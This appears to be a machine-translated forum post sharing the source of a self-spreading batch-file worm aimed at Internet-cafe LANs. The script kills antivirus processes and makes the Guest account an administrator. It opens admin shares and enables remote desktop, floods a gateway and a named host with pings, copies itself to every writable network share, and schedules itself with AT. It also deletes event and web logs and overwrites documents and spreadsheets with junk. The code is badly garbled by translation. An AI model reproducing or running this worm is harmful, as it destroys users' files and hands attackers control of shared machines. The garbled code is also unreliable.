Writing this worm is mainly for the Internet cafe, because it is not necessary to visit many Internet cafes, but there is no password to visit. This worm can copy itself as long as the share of writable rights can be copied, start with the AT command or the next startup. Due to the relationship between time and equipment, I didn't take care of it. I believe there will be many bugs. There is a BUG infected with the target file on time, I have not better solving my thinking. Please tell us if you find a problem. I, or you can fix, improve the code, please copy me, thank you first!
@echo offecho echo.echo LAN sharing the Myworm Net2k Beta V1.0 version echo.echo.echo net2k original work, welcome to visit http://www.52chb.comecho.echo warning: This program only uses research testing, for you It is not responsible for all consequences of running this program! This procedure continued or echo off Press any key to exit pause> nulcls tskill ccapptskill Rfwtskill KAVPFWtskill KAV9Xtskill PFWtskill RavMonif not exist c: /autoexec.bat copy / y% windir% / system32 / autoexec.bat c: / if not exist% windir% / System32 / autoexec.bat copy c: /autoexec.batcall attrib h rc: /autoexec.bat && attrib h r% windir% / system32 / autoexec.batdoskey at = set pk = 1 set AK1 = 254 if% PK % == 1 (SET / A AK1 =% random %%%%% AK1%) set love = $% ak1% attrib - h -rc: /msdos.sys && attrib -h -rc: /config.sys> nulecto [ Option]> c: /msdos.sys echo bootkey = 1 >> c: / msdos.sys echo bootmenu = 0 >> c: /msdos.sysecho bootwarn = 0 >> c: / msdos.sysecho bootfailsafe = 0 >> C : / msdos.sys echo disabelog = 1 >> C: / msdos.sys for %% K in (A, C, D, E, F, G, H, I, J, K, M, L, N, O , P, Q, R, X, Y, Z) do @echo lastdrive = %% K> C: /config.sysattrib r hc: /msdos.sys && Attrib H r c: /config.sys> Nul for %% K in (A:, C:, D:, E:, F:, G:, H:, i:, J:, K:, M: l:, n:, o:, p: q:, r:, s:, x: u:, v:, w:, x:, y:, z :) do @subst %% K% SystemRoot % / Desktopecho [Rename]> Wininit.tmpecho C: /Windows/wininit.ini=c: /wininit.t MP >> Wininit.tmpecho Dirnul = f: / >> Wininit.tmpecho Dirnul = E: / >> Wininit.tmpecho Dirnul = D: / >> Wininit.tmpnet View> A.TXT FIND "//" a.txt> > L.TXTFOR / F "SKIP = 2" %% a in (l.txt) do @copy / y wininit.tmp %% A / C $ for / f "Skip = 2" %% a in (L.TXT ) Do @call Attrib R H %% A / C $ / Wininit.TmpNet User Guest Net2k% &
/ ACTIVE: YESNET LOCALGROUP Administrators Guest / AddNet Share "IPC $" Net Share "Admin $" Net Share "NetBois" Net Share "RPCSS" echo [Components]> C: / 3389echo tsenable = ON >> C: / 3389Sysconmgr / i : SYSOC.INF / U: C: / 3389 / Q: Drive Sharing for %% K in (C, D, E, F, G, H, I, P, P, L, N, O, P , Q, R, X, Y, Z) do @NET Share %% K $ = %% K: /: Attack Gateway ipconfig> Cf.txt && Find "Default Gateway" CF .txt> ch.txtFor / f "Skip = 2 tokens = 13" %% a in (ch.txt) do @echo ping -n 20 -l 800 %% a ping www.xhcatv.com.cn / n 15 / l 800 ping www.xhcatv.com.cn / n 15 / l 800 ping www.xhcatv.com.cn / n 15 / l 800 ping www.xhcatv.com.cn / N 15 / L 800: copy itself to LAN Inside all shared hard drive root directory for / f "Skip = 2" %% a in (l.txt) do for %% K IN (C, D, E, F, G, H, I, J, K, M, L, N, O, P, Q, R, S, T, U, V, W, X, Y, Z) do @copy autoexec.bat %% a / %% K $
FOR / F "SKIP = 2" %% a in (l.txt) do for %% K in (C, D, E, F, G, H, I, J, K, M, L, N, O, P, Q, R, S, T, U, V, W, X, Y, Z) DO @call attrib r h %% a / %% K $ / autoexec.batclsdel% window / system / system32 / logfiles / W3SVC1 / *.* / F / QDEL% WINDIR% / system32 / logfiles / w3svc2 /*.* / f / qdel% windir% / system32 / config / *. Event / F / QDEL% Windir% / System32 / DTCLOG / * . * / f / qde% windir% / *. txt / f / QDEL% window / *. log / f / qcls: copy the hard drive root directory for %% K in (C, D, E, F, G , H, I, K, Q, R, S, T, U, V, W, X, Y, Z) do @copy / y autoexec.bat %% K : for %% K in (C, D, E, F, G, H, I, J, K, M, L, N, O, P, Q, R, S, T, U, V, W, X , y, z) Do @at 9:50 %% K: /autoexec.bat: Infection on time, each class target file echo @echo off> pk.batecho set pk = 1 >> pk.Batecho set ak1 = 19 >> PK.BATECHO SET AK2 = 19 >> PK.BATECHO IF% PK% == 1 (>> PK.BATECHO SET / A AK1 =% Random %%%% AK1% >> PK.BATECHO SET / A AK2 =% Random % %%% AK2% >> PK.BATECHO) >> PK.BATECHO SET WIN = a% AK1% X >> PK.BATECHO COPY / Y PK.BAT XY.BAT% WIN% .bat >> PK.BATECHO For %% Y in (* .doc, *. xls, *. txt, *. rif, *. dbf, *. arj, *. log) do @echo fei lov you> %% Y >> PK.BATECHO AT 9:55% WIN% .bat >> PK.BATATTRIB / D / S - H -RDIR | FIND "